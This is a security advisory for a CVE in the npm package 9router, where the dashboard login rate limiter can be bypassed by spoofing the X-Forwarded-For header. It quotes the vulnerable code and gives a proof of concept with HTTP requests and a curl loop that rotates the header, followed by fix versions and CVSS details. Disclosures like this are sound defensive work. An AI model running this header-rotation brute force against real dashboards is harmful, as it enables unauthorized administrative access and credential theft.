GHSA-7cfm-pqrj-xgq7 CVE-2026-55501
9router: Login brute-force protection bypass via spoofed X-Forwarded-For header
- Severity
- 7.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.38%
- Chance of exploitation in the next 30 days. Higher than 31.91% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-290 Authentication Bypass by Spoofing
- CWE-307 Improper Restriction of Excessive Authentication Attempts
- Fix
0.4.77- Upgrade 9router to this version or later
Description
Summary
The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.
This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.
Details
| Component | File | Note |
|---|---|---|
| Dashboard login rate limiter | src/lib/auth/loginLimiter.js |
Uses X-Forwarded-For as the client identity without a trusted-proxy check |
| Dashboard login route | src/app/api/auth/login/route.js |
Calls checkLock() and recordFail() using the spoofable client identity |
Vulnerable Code
src/lib/auth/loginLimiter.js:
export function getClientIp(request) {
const xff = request.headers.get("x-forwarded-for");
if (xff) return xff.split(",")[0].trim();
return request.headers.get("x-real-ip") || "unknown";
}
The returned value is used as the key for the in-memory rate-limit state:
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }
The login route uses this value when checking and recording failed login attempts:
export async function POST(request) {
const ip = getClientIp(request);
const lock = checkLock(ip);
if (lock.locked) {
return NextResponse.json(
{ error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
{ status: 429 }
);
}
// ... password validation ...
recordFail(ip);
}
Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.
PoC
Step 1 — Baseline: rate limiter triggers when the client identity is stable
Send repeated failed login attempts with the same X-Forwarded-For value:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1
{"password":"wrong-password"}
Observed behavior:
| Attempt | Response |
|---|---|
| 1 | Invalid password. 4 attempt(s) left before lockout. |
| 2 | Invalid password. 3 attempt(s) left before lockout. |
| 3 | Invalid password. 2 attempt(s) left before lockout. |
| 4 | Invalid password. 1 attempt(s) left before lockout. |
| 5 | Too many failed attempts. Try again in 30s. |
| 6 | Too many failed attempts. Try again in 30s. |
This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.
Step 2 — Bypass: rotate X-Forwarded-For on each request
Send failed login attempts while changing the X-Forwarded-For value for every request:
for i in $(seq 1 10); do
curl -s -X POST "http://localhost:20128/api/auth/login" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.$i" \
-d '{"password":"wrong-password"}'
echo
done
Observed response for every request:
{
"error": "Invalid password. 4 attempt(s) left before lockout.",
"remainingBeforeLock": 4
}
The counter resets to the initial state on every request, and the lockout is never triggered.
Step 3 — Impact amplifier: default dashboard password
If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.
Example request:
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99
{"password":"<default-dashboard-password>"}
Observed response on a default installation:
HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
"success": true
}
The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.
Attack Scenario
- A remote attacker identifies a publicly reachable 9router dashboard.
- The attacker sends repeated login attempts to
/api/auth/login. - For each attempt, the attacker changes the
X-Forwarded-Forheader value. - 9router treats each request as a different client and assigns a fresh rate-limit bucket.
- The attacker can continue brute-force attempts without triggering the configured lockout.
- If the instance uses a weak or default dashboard password, the attacker can gain administrative access.
Impact
A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.
If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:
- Access configured provider credentials and API keys.
- Change dashboard and authentication settings.
- Disable login protection if the application allows it.
- Create persistent API keys or other long-lived access tokens.
- Modify application configuration.
- Chain the access with other server-side functionality exposed by the dashboard.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| 9router | < 0.4.77 |
0.4.77 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
9router npm → 0.4.77
- npm
npm install 9router@0.4.77- yarn
yarn add 9router@0.4.77- pnpm
pnpm add 9router@0.4.77
Severity breakdown
CVSS 3.1 7.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Weakness
CWE-290: Authentication Bypass by Spoofing
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
CWE-307: Improper Restriction of Excessive Authentication Attempts
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
How to prevent it
- Architecture and Design: Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-32gc-64m7-hj7v 9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header | Medium | Also affects 9router |
| GHSA-5mj8-gf6m-fhw8 9Router has an Authentication Bypass in Public LLM API via Spoofable X-9r-Real-Ip Header | High | Also affects 9router |
| GHSA-8g4w-4ffg-8vgx 9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint | High | Also affects 9router |
| GHSA-vmjq-hvgq-2wv4 9router: Mass assignment in PATCH /api/settings allows authenticated authorization downgrade | High | Also affects 9router |
| GHSA-6mwv-4mrm-5p3m 9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding | Medium | Also affects 9router |
| GHSA-x5c9-v98j-722r 9router /v1 APIs has unauthenticated access via reverse proxy locality collapse | High | Also affects 9router |
| GHSA-86m2-fcxq-5q7c 9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF | High | Also affects 9router |
| GHSA-8gmq-j984-vp4r 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass | High | Also affects 9router |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor